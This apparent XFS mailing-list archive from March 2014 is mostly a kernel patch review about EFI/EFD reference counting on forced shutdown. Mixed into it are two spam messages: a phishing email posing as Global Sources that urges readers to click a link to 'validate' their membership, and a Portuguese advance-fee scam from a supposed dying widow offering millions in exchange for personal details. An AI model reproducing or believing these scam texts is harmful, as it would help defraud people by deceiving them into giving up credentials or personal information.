AIL before a forced shutdown >> where it gets stuck for following reasons: >> >> No EFD. If freeing the extent fails in xfs_bmap_finish() or >> xfs_recover_process_efi(), then the corresponding extent >> free done (EFD) entry will not be created. > > You don't handle the xfs_bmap_finish() case properly - the patch > only addresses the case where the EFD was created and contains a > reference to the EFI. The only time we can have an EFI in the AIL > without an EFD pointing to it is if xfs_trans_reserve() call in > xfs_bmap_finish() fails due to a shutdown. That failure case > leaks the EFI reference that is supposed to be passed to the EFD... > >> EFD IOP Abort processing. If xfs_trans_cancel() is called with >> an abort flag, or if the xfs_trans_commit() is called when the >> file system is in forced shutdown or if the log buffer write fails, >> then the EFD iop commands will not remove the EFI from the AIL. > > Which they should, because after xfs_trans_get_efd(), the EFD owns > the reference to the EFI. Hence aborting the EFD should release the > EFI reference it owns. Nod. > >> Index: b/fs/xfs/xfs_extfree_item.c >> =================================================================== >> --- a/fs/xfs/xfs_extfree_item.c >> +++ b/fs/xfs/xfs_extfree_item.c >> @@ -420,8 +420,15 @@ STATIC void >> xfs_efd_item_unlock( >> struct xfs_log_item *lip) >> { >> - if (lip->li_flags& XFS_LI_ABORTED) >> + /* >> + * Clear the EFI if on AIL when aborting xfs_bmap_finish. >> + * The forced shutdown will force the log, so other EFDs >> + * should not be processed from the CIL. >> + */ >> + if (lip->li_flags& XFS_LI_ABORTED) { >> + xfs_efi_clear_ail(lip->li_ailp); >> xfs_efd_item_free(EFD_ITEM(lip)); >> + } >> } > > So, we abort one EFI, so we kill every EFI in the filesystem? We > want to be able to cancel and rollback transactions eventually, and > this will prevent us from being able to do that as it will kill EFIs > unrelated to the EFD being aborted. > > AFAICT, all this needs to do is: > > if (!(lip->li_flags& XFS_LI_ABORTED)) > return; > > xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); > xfs_efd_item_free(efdp); > > i.e. before freeing the EFD, release the reference to the EFI > that it was passed. Nod. >> @@ -439,10 +446,15 @@ xfs_efd_item_committed( >> struct xfs_efd_log_item *efdp = EFD_ITEM(lip); >> >> /* >> - * If we got a log I/O error, it's always the case that the LR with the >> - * EFI got unpinned and freed before the EFD got aborted. >> + * If we got a log I/O error and the EFI is also in this buffer, it >> + * will be unpinned and freed before the EFD got aborted. But the EFI >> + * is in an earlier transaction and could be on the AIL when the log >> + * I/O error happened for this EFD. In that case, manually remove the >> + * remaining EFIs from the AIL. >> */ >> - if (!(lip->li_flags& XFS_LI_ABORTED)) >> + if (lip->li_flags& XFS_LI_ABORTED) >> + xfs_efi_clear_ail(lip->li_ailp); >> + else >> xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); > > Same here - we can simply always call xfs_efi_release() and we'll > end up doing the right thing w.r.t. the EFi reference count. > > And if we do the right thing with the EFI reference count when > aborting the EFI (i.e. call __xfs_efi_release() rather than freeing > it) the aborting of transactions will correctly free all the > references to the EFI and remove them from the AIL. This is fine if the EFI made it to the AIL before the log abort - which it may or may not have done. Log errors will not force the log. The call to xfs_trans_committed_bulk() with the abort flag set will not place the EFI on the AIL (takes the iop_unpin/continue path). Your proposal of changing xfs_efi_committed() from freeing the EFI to a call to __xfs_efi_release() and changing xfs_efd_committed() to xfs_efi_release() will do the right thing for the counters and removing both the EFI/EFD entries, but it will also want to remove the non-existent EFI entry from the AIL. I do not like adding the EFI to the AIL in the abort path. > The only case we > then have to handle specially is the xfs_trans_reserve failure in > xfs_bmap_finish(), where we need to release the EFI directly in the > error path. any reason to not move the efd creation earlier to not special case it? > That gets rid of the "big hammer" error handling for normal runtime > shutdown that xfs_efi_clear_ail(). i.e. we need to fix the reference > count handling, not work around it. > > >> Index: b/fs/xfs/xfs_log_recover.c >> =================================================================== >> --- a/fs/xfs/xfs_log_recover.c >> +++ b/fs/xfs/xfs_log_recover.c >> @@ -3634,20 +3634,23 @@ xlog_recover_process_data( >> /* >> * Process an extent free intent item that was recovered from >> * the log. We need to free the extents that it describes. >> + * The caller will free all EFI entries on error. >> */ >> STATIC int >> xlog_recover_process_efi( >> - xfs_mount_t *mp, >> - xfs_efi_log_item_t *efip) >> + struct xfs_mount *mp, >> + struct xfs_efi_log_item *efip) >> { >> - xfs_efd_log_item_t *efdp; >> - xfs_trans_t *tp; >> + struct xfs_efd_log_item *efdp; >> + struct xfs_trans *tp; >> int i; >> int error = 0; >> xfs_extent_t *extp; >> xfs_fsblock_t startblock_fsb; >> >> ASSERT(!test_bit(XFS_EFI_RECOVERED,&efip->efi_flags)); >> + /* All paths need the XFS_EFI_RECOVERED flag set. Do it here. */ >> + set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); >> >> /* >> * First check the validity of the extents described by the >> @@ -3662,12 +3665,6 @@ xlog_recover_process_efi( >> (extp->ext_len == 0) || >> (startblock_fsb>= mp->m_sb.sb_dblocks) || >> (extp->ext_len>= mp->m_sb.sb_agblocks)) { >> - /* >> - * This will pull the EFI from the AIL and >> - * free the memory associated with it. >> - */ >> - set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); >> - xfs_efi_release(efip, efip->efi_format.efi_nextents); >> return XFS_ERROR(EIO); >> } >> } >> @@ -3687,7 +3684,6 @@ xlog_recover_process_efi( >> extp->ext_len); >> } >> >> - set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); >> error = xfs_trans_commit(tp, 0); >> return error; > > This is basically saying "xfs_efi_release() should drop both the AIL > and the EFD reference as we really only only have one reference". I > think we should simply remove the XFS_EFI_RECOVERED bit from the > reference counting code, and simply subtract one of the EFI > references in xlog_recover_efi_pass2() where we insert the EFI into > the AIL, so that it behaves exactly like the runtime case when > later processing the EFDs. > > That is, in xlog_recover_efd_pass2() when we find a matching EFD we > simply call xfs_efi_release() and that does all the freeing because > we're removing the EFD reference which is the only remaining > reference. > > Then in xlog_recover_process_efi(), we simply call xfs_efi_release() > for the error cases to drop the last reference to the EFI, otherwise > the commit of the EFD will free it because it calls > xfs_efi_release() appropriately. Works for me. > >> >> @@ -3718,8 +3714,8 @@ STATIC int >> xlog_recover_process_efis( >> struct xlog *log) >> { >> - xfs_log_item_t *lip; >> - xfs_efi_log_item_t *efip; >> + struct xfs_log_item *lip; >> + struct xfs_efi_log_item *efip; >> int error = 0; >> struct xfs_ail_cursor cur; >> struct xfs_ail *ailp; >> @@ -3753,12 +3749,13 @@ xlog_recover_process_efis( >> error = xlog_recover_process_efi(log->l_mp, efip); >> spin_lock(&ailp->xa_lock); >> if (error) >> - goto out; >> + break; >> lip = xfs_trans_ail_cursor_next(ailp,&cur); >> } >> -out: >> xfs_trans_ail_cursor_done(ailp,&cur); >> spin_unlock(&ailp->xa_lock); >> + if (error) >> + xfs_efi_clear_ail(ailp); >> return error; >> } > > If we fix the reference counting, then I think all we need here is: > > int error = 0; > > while (ail cursor next) { > .... > if (!error) > error = xlog_recover_process_efi() > else > xfs_efi_release(efip) > .... > } > > So that any error will trigger freeing of all the other unprocessed > EFIs on the AIL that are pending recovery without needing any more > special looping.... > Nod. --Mark. From tinguely@sgi.com Thu Mar 20 15:30:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 50BDF7F63 for ; Thu, 20 Mar 2014 15:30:30 -0500 (CDT) Received: from eagdhcp-232-205.americas.sgi.com (eagdhcp-232-205.americas.sgi.com [128.162.232.205]) by relay2.corp.sgi.com (Postfix) with ESMTP id 19835304048; Thu, 20 Mar 2014 13:30:27 -0700 (PDT) Message-ID: <532B4FE2.30505@sgi.com> Date: Thu, 20 Mar 2014 15:30:26 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: free the EFI entries from AIL on forced shutdown References: <20140314163723.916178776@sgi.com> <20140317052951.GE7072@dastard> <532B45E1.3060309@sgi.com> In-Reply-To: <532B45E1.3060309@sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/20/14 14:47, Mark Tinguely wrote: > On 03/17/14 00:29, Dave Chinner wrote: > >> The only case we >> then have to handle specially is the xfs_trans_reserve failure in >> xfs_bmap_finish(), where we need to release the EFI directly in the >> error path. > > any reason to not move the efd creation earlier to not special case it? Umm, other than no ticket or space for the log_item. Never mind, we have to special case it. --Mark. From infos@sources.org Thu Mar 20 16:30:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.4 required=5.0 tests=HTML_MESSAGE, MSGID_FROM_MTA_HEADER,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 919537F69 for ; Thu, 20 Mar 2014 16:30:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EDDA6AC001 for ; Thu, 20 Mar 2014 14:30:34 -0700 (PDT) X-ASG-Debug-ID: 1395351032-04cbb054b6528cd0001-NocioJ Received: from mailrelay005.isp.belgacom.be (mailrelay005.isp.belgacom.be [195.238.6.171]) by cuda.sgi.com with ESMTP id Dm2dGXJBoxHi3rDK for ; Thu, 20 Mar 2014 14:30:32 -0700 (PDT) X-Barracuda-Envelope-From: infos@sources.org X-Barracuda-Apparent-Source-IP: 195.238.6.171 Message-Id: <073a06$pb5oiv@relay.skynet.be> X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsQ2AHVcK1Nbtzda/2dsb2JhbABSBgGCQn9LAQGIW6IoAoEWDgEBjT+BPYcygTB0gnMPMT4CAS0eJBOHXx4BCJIXi2SPRoJAgSeeXo1/EQEIBhZaAQmBfQ9AgTsEiRqGIIo/izeFR0h3gW88GUEBUQIHFwMD Received: from 90.55-183-91.adsl-static.isp.belgacom.be (HELO HT.smallbusiness.local) ([91.183.55.90]) by relay.skynet.be with ESMTP; 20 Mar 2014 22:30:28 +0100 Content-Type: multipart/alternative; boundary="===============0032748693==" MIME-Version: 1.0 Subject: Global Sources Membership To: Recipients X-ASG-Orig-Subj: Global Sources Membership From: "Global Sources" Date: Thu, 20 Mar 2014 22:30:17 +0100 X-Barracuda-Connect: mailrelay005.isp.belgacom.be[195.238.6.171] X-Barracuda-Start-Time: 1395351032 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC7_SA578_CH, HTML_MESSAGE, MSGID_FROM_MTA_HEADER, MSGID_FROM_MTA_HEADER_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4103 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 1.50 MSGID_FROM_MTA_HEADER_2 Message-Id was added by a relay 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 0.50 BSF_SC7_SA578_CH Custom Rule SA578_CH You will not see this in a MIME-aware mail reader. --===============0032748693== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body = = = = = Important Email Verification. = = = = = = Dear Valued Member, = Your Global Sources Membership needs to be validated due to the new upgrad= e on our system security server which has been upgraded to protect your mem= ber information. = Due to this you are required to kindly click on the link below to validate= your Global Sources Membership. = CLICK HERE TO VALIDATE NOW. = Failure to validate your Global Sources Membership will be suspended by Gl= obal Sources service team. Thank you for choosing Global Sources. = Thank you. = The Global Sources Team service@globalsources.com = = = = = = = For enquiries, please contact: Customer Services, 1 Sims L= ane #08-01, Singapore 387355; phone: (65) 6547-2800; fax: (65) 6547-2888; e= -mail:service@globalsources.com = = = = = = = Copyright =A9 2014 Trade Media Holdings Ltd. Copyright =A9 2014 Trade Me= dia Ltd. All rights reserved. = =20 --===============0032748693== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body
Important Email Verification.
Dear Valued = Member,

Your Global Sources Membership needs to be = validated due to the new upgrade on our system = security server which has been upgraded to = protect your member information.

Due to this you are required to kindly click on = the link below to validate your Global Sources = Membership.

CLICK HERE = TO = VALIDATE NOW.

Failure to validate your Global Sources = Membership will be suspended by Global Sources = service team. Thank you for choosing Global = Sources.

Thank you.

The Global Sources Team
service@globalsources.com
 
3D""
3D"Reliable For enquiries, please contact: Customer = Services, 1 Sims Lane #08-01, Singapore 387355; = phone: (65) 6547-2800; fax: (65) 6547-2888; e-mail:service@globalsources.com 3D"The
Copyright =A9 2014 Trade Media Holding= s = Ltd. Copyright =A9 2014 Trade Media Ltd. All = rights reserved.
--===============0032748693==-- From david@fromorbit.com Thu Mar 20 18:14:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C50477F73 for ; Thu, 20 Mar 2014 18:14:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 57859AC005 for ; Thu, 20 Mar 2014 16:14:00 -0700 (PDT) X-ASG-Debug-ID: 1395357236-04cbb054b752fcd0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id qZ75vlujP3CEEoSo for ; Thu, 20 Mar 2014 16:13:57 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AulMAOx0K1N5LMWSPGdsb2JhbABZgwaDR4UMtTSFW4ESFwMBAQEBODWCJQEBAQMBJxMcIwULCAMYCSUPBSUDBxoTh3EH0AEXFo5PB4Q4BJhGlXIp Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail06.adl6.internode.on.net with ESMTP; 21 Mar 2014 09:41:04 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WQm73-0006iu-Fl; Fri, 21 Mar 2014 10:11:01 +1100 Date: Fri, 21 Mar 2014 10:11:01 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: free the EFI entries from AIL on forced shutdown Message-ID: <20140320231101.GN7072@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: free the EFI entries from AIL on forced shutdown References: <20140314163723.916178776@sgi.com> <20140317052951.GE7072@dastard> <532B45E1.3060309@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <532B45E1.3060309@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1395357237 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4105 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Thu, Mar 20, 2014 at 02:47:45PM -0500, Mark Tinguely wrote: > On 03/17/14 00:29, Dave Chinner wrote: > >On Fri, Mar 14, 2014 at 11:37:01AM -0500, Mark Tinguely wrote: > >>@@ -439,10 +446,15 @@ xfs_efd_item_committed( > >> struct xfs_efd_log_item *efdp = EFD_ITEM(lip); > >> > >> /* > >>- * If we got a log I/O error, it's always the case that the LR with the > >>- * EFI got unpinned and freed before the EFD got aborted. > >>+ * If we got a log I/O error and the EFI is also in this buffer, it > >>+ * will be unpinned and freed before the EFD got aborted. But the EFI > >>+ * is in an earlier transaction and could be on the AIL when the log > >>+ * I/O error happened for this EFD. In that case, manually remove the > >>+ * remaining EFIs from the AIL. > >> */ > >>- if (!(lip->li_flags& XFS_LI_ABORTED)) > >>+ if (lip->li_flags& XFS_LI_ABORTED) > >>+ xfs_efi_clear_ail(lip->li_ailp); > >>+ else > >> xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); > > > >Same here - we can simply always call xfs_efi_release() and we'll > >end up doing the right thing w.r.t. the EFi reference count. > > > >And if we do the right thing with the EFI reference count when > >aborting the EFI (i.e. call __xfs_efi_release() rather than freeing > >it) the aborting of transactions will correctly free all the > >references to the EFI and remove them from the AIL. > > This is fine if the EFI made it to the AIL before the log abort - > which it may or may not have done. > > Log errors will not force the log. The call to > xfs_trans_committed_bulk() with the abort flag set will not place > the EFI on the AIL (takes the iop_unpin/continue path). Sure - we don't want it added to the AIL on abort. Instead, we want the reference count that was intended for the AIL to be dropped when we abort the object so that we can free the object when the last reference count goes away. > Your proposal of changing xfs_efi_committed() from freeing the EFI > to a call to __xfs_efi_release() and changing xfs_efd_committed() to > xfs_efi_release() will do the right thing for the counters and > removing both the EFI/EFD entries, but it will also want to remove > the non-existent EFI entry from the AIL. I do not like adding the > EFI to the AIL in the abort path. If the EFI is not in the AIL, then don't try to remove it from the AIL. We do this for all sorts of objects on abort/shutdown. e.g. the abort path in xfs_buf_item_unlock() checks if the item is in the AIL before removing it. We do the same when flushing a dquot and a shutdown is encountered. Same for aborting an inode flush, or completing an inode cluster freeing. > >The only case we > >then have to handle specially is the xfs_trans_reserve failure in > >xfs_bmap_finish(), where we need to release the EFI directly in the > >error path. > > any reason to not move the efd creation earlier to not special case it? You can't join objects to a transaction before you've reserved space for the transaction. Cheers, Dave. -- Dave Chinner david@fromorbit.com From joy2andrade@yahoo.co.jp Fri Mar 21 03:25:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.5 required=5.0 tests=DECEASED_NO_ML,DRUGS_MUSCLE, FREEMAIL_FROM,FREEMAIL_REPLYTO,FREEMAIL_REPLYTO_END_DIGIT,HTML_MESSAGE, LOTS_OF_MONEY,MONEY_FROM_41,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0CDD67F5E for ; Fri, 21 Mar 2014 03:25:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C9C63304053 for ; Fri, 21 Mar 2014 01:25:37 -0700 (PDT) X-ASG-Debug-ID: 1395390331-04bdf05dab7932b0001-NocioJ Received: from web101516.mail.kks.yahoo.co.jp (web101516.mail.kks.yahoo.co.jp [183.79.150.75]) by cuda.sgi.com with SMTP id 0R9ZouzL4ggmVVyn for ; Fri, 21 Mar 2014 01:25:32 -0700 (PDT) X-Barracuda-Envelope-From: joy2andrade@yahoo.co.jp X-Barracuda-Apparent-Source-IP: 183.79.150.75 Received: (qmail 61412 invoked by uid 60001); 21 Mar 2014 08:25:29 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.co.jp; s=yj20110701; t=1395390329; bh=vk0CYP62WXaXIFvmKLwNY7ewSl9OqgdbYvruVYEaZP4=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=isZ490Tmx7moCUACf9RFWFmFNf4BjB8hJPvX7yYogBWLu2KsKsA2JozUV+IsFbdC1an6K6ns5AphrfZKhDa0GfYStk57BaZVllQxTJsfcCpQ/oHDy/CWNaExKNN6WmHc2vRPLvr4TCdHJfFobdpBilHsh8iq6P6F+c1l6Tpa9G8= DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws; s=yj20110701; d=yahoo.co.jp; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=MOXrAd63IIF/WrlLJjXoSmAHh11ho9Exb0Sfo65SqoKHF8NTvaDRdVG2LVzO3Wc1UUIciuVsAHbnCcxX1hoGGz5Sc2IxK+fiqkC8rqV6sm/C7uDCXCbD9ougjn7S6lY6NgerzYi4bDF+FqMJsyLYj+/X/oB3F4NZ73GzFs0BGuE=; Message-ID: <311580.57326.qm@web101516.mail.kks.yahoo.co.jp> X-YMail-OSG: mXB782gVM1lbHYw1PiUGyaBJ3.ozFc65tKaTMsc_B.KrgtKh1qLu_tcFBQ9AXOzpyREp1X0D0IlOyT1h4CRRCvkySH._suYLP2Gfes1NDFL95CIzHdd4LBr_3LOIupQmBAwKpKIhdRSBnl2o_XFqHuZXPztOJQOEsJRpRiKPDzuEz4sa3bvrGS_YKMal1jQO2xDBciS_NgEzzE7c0M3DX7tYGX0c7R7WEUkX3nTB2xVHnnZ7mfRoIw8enxTLPHmXcFe0ZSR.kYElkbSy6FgWuuAEHxfoOnCFPjP2getOJqURQOvjkr9__Wf4FlrOsuqHXmhqUK3n3Nvlflq_PzsdNsNBAGzGvlReG32qUjLJLq_3s9EJskh.v7VojqgWJNXV9dTkRsXT3STxThUisPhok5v8fe9XewXmHQ0JUsw_qWLcabkI6YGgKrjS8xAdwQkgrt6OJ0cs_PMdeID5xwUMF_XrDlVpqvDDlBcvFJNLyMRLftZVILuN6gkOHD89ZsPzdPH5_4tlmNpRvYJnFK8IEUlgBWngowvZMCdufvYWNfqNsxk2QNOIj0iqdquyia5HR7VKE4IiLkfxyI_tMWcaHPmb0vG87q49u05YS_58xy2cNt_6CIY_hYw- Received: from [41.207.204.95] by web101516.mail.kks.yahoo.co.jp via HTTP; Fri, 21 Mar 2014 17:25:29 JST X-Mailer: YahooMailWebService/0.8.111_52 Date: Fri, 21 Mar 2014 17:25:29 +0900 (JST) From: MURTAZA BHUTTO Reply-To: MURTAZA BHUTTO Subject: Caro no Senhor, To: undisclosed recipients: ; X-ASG-Orig-Subj: Caro no Senhor, MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-2017372846-1670561608-1395390329=:57326" X-Barracuda-Connect: web101516.mail.kks.yahoo.co.jp[183.79.150.75] X-Barracuda-Start-Time: 1395390332 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: -0.10 X-Barracuda-Spam-Status: No, SCORE=-0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, DRUGS_MUSCLE, HTML_MESSAGE, VALIDYAHOOJP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4118 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message -0.10 VALIDYAHOOJP This mail is valid yahoo.co.jp mail. 0.00 DRUGS_MUSCLE Refers to a muscle relaxant ---2017372846-1670561608-1395390329=:57326 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable De: Sra. Monica Moyo,=0ALote 104 Jacques Avenue,=0A01 bp Cocodi 3691,=0AAbi= djan - Cote d 'Ivoire.=0A=0ACaro no Senhor,=0A=0ASauda=E7=F5es em nome de n= osso Senhor Jesus Cristo. Eu sou deputada Monica Moyo, Bahrain, a vi=FAva d= o falecido Steven Moyo. Eu tenho 51 anos de idade, aconveted crist=E3o nasc= ido de novo, que sofrem de c=E2ncer de mama, a longo prazo, todas as indica= =E7=F5es a minha condi=E7=E3o =E9 realmente deteriorando e =E9 bastante =F3= bvio que ele n=E3o poderia viver mais de duas semanas, de acordo com o meu = m=E9dico, porque o est=E1gio do c=E2ncer alcan=E7ou o pior / perigoso.=0A= =0AMeu falecido marido e meu =FAnico filho morreu antes que os =FAltimos tr= =EAs anos, sua morte foi politicamente motivado. Meu falecido marido era bi= oveoma rico e rico homem de neg=F3cios que conduziu a sua planta=E7=E3o de = cacau neg=F3cio / Madeira na Costa do Marfim. Depois de sua morte, comecei = a gerenciar todo o seu neg=F3cio e riqueza. Meu falecido marido deposiited = EUA 2.500 mil d=F3lares americanos d=F3lares em financiamento =E9 um dos gr= andes bancos neste pa=EDs Cote d ' iviore, ele queria usar os fundos para e= xpandir suas opera=E7=F5es plantar cocao / Tiber em outros pa=EDses african= os antes de sua morte repentina.=0A=0AEste fundo ainda est=E1 no banco hoje= , agora meu m=E9dico me aconselhou que eu n=E3o posso viver mais de duas se= manas devido a doen=E7a, eu decidi doar a soma de EUA $ 2,5 000,000.00. no = trabalho humanit=E1rio de Deus, porque eu n=E3o posso levar esse dinheiro p= ara o t=FAmulo.=0A=0AEu sinceramente pedir a sua ajuda neste neg=F3cio Deus= huamnitarian. Eu quero transferir o fundo para sua conta banc=E1ria, de mo= do que voc=EA vai usar 80% do fundo para ajudar o pr=F3ximo ljudeu o seu pa= =EDs:=0A=0A1 a m=E3e do beb=EA.=0A2 vi=FAvas.=0A3 desativar pessoas.=0A4 pa= ra promover a palavra de Deus l=E1 no seu pa=EDs.=0A=0A20 % do fundo =E9 pa= ra voc=EA e sua fam=EDlia, se voc=EA vai aceitar a fazer trabalho humanit= =E1rio Deus. Eu prometo que n=E3o ir=E1 decepcionar quando cefond ser trans= ferido para sua conta banc=E1ria l=E1 em seu pa=EDs, e voc=EA tamb=E9m me g= arantiu que voc=EA usa 80 % do dinheiro para os fins referidos, porque eu v= im a descobrir que a aquisi=E7=E3o de riqueza sem Cristo =E9 vaidade.=0A=0A= Responder -me urgentemente se voc=EA estiver interessado nesta opera=E7=E3o= , pois qualquer atraso na sua resposta vai me dar espa=E7o para procurar ou= tra pessoa de confian=E7a para a mesma finalidade, na esperan=E7a de ouvir = de voc=EA.=0A=0AQue a gra=E7a de Jesus nosso Senhor Deus ea comunh=E3o de D= eus esteja com voc=EA e sua fam=EDlia.=0A=0APor favor, envie esta informa= =E7=E3o.=0A=0A1) Envie-me seus nomes dialetos comp.=0A2) me envie sua resid= =EAncia atual.=0A3) O seu pa=EDs de origem.=0A4) Ocupa=E7=E3o.=0A5) Idade.= =0A=0AObrigado e que Deus aben=E7oe.=0ASua irm=E3 amorosa em Cristo,=0ASra.= Monica Moyo.=0A ---2017372846-1670561608-1395390329=:57326 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
De: Sra. Monica Moyo,
Lote 104 Jacques= Avenue,
01 bp Cocodi 3691,
Abidjan - Cote d 'Ivoire.

Caro no = Senhor,

Sauda=E7=F5es em nome de nosso Senhor Jesus Cristo. Eu sou d= eputada Monica Moyo, Bahrain, a vi=FAva do falecido Steven Moyo. Eu tenho 5= 1 anos de idade, aconveted crist=E3o nascido de novo, que sofrem de c=E2nce= r de mama, a longo prazo, todas as indica=E7=F5es a minha condi=E7=E3o =E9 = realmente deteriorando e =E9 bastante =F3bvio que ele n=E3o poderia viver m= ais de duas semanas, de acordo com o meu m=E9dico, porque o est=E1gio do c= =E2ncer alcan=E7ou o pior / perigoso.

Meu falecido marido e meu =FAn= ico filho morreu antes que os =FAltimos tr=EAs anos, sua morte foi politica= mente motivado. Meu falecido marido era bioveoma rico e rico homem de neg= =F3cios que conduziu a sua planta=E7=E3o de cacau neg=F3cio / Madeira na Co= sta do Marfim. Depois de sua morte, comecei a gerenciar todo o seu neg=F3cio e riqueza. Meu fale= cido marido deposiited EUA 2.500 mil d=F3lares americanos d=F3lares em fina= nciamento =E9 um dos grandes bancos neste pa=EDs Cote d ' iviore, ele queri= a usar os fundos para expandir suas opera=E7=F5es plantar cocao / Tiber em = outros pa=EDses africanos antes de sua morte repentina.

Este fundo a= inda est=E1 no banco hoje, agora meu m=E9dico me aconselhou que eu n=E3o po= sso viver mais de duas semanas devido a doen=E7a, eu decidi doar a soma de = EUA $ 2,5 000,000.00. no trabalho humanit=E1rio de Deus, porque eu n=E3o po= sso levar esse dinheiro para o t=FAmulo.

Eu sinceramente pedir a sua= ajuda neste neg=F3cio Deus huamnitarian. Eu quero transferir o fundo para = sua conta banc=E1ria, de modo que voc=EA vai usar 80% do fundo para ajudar = o pr=F3ximo ljudeu o seu pa=EDs:

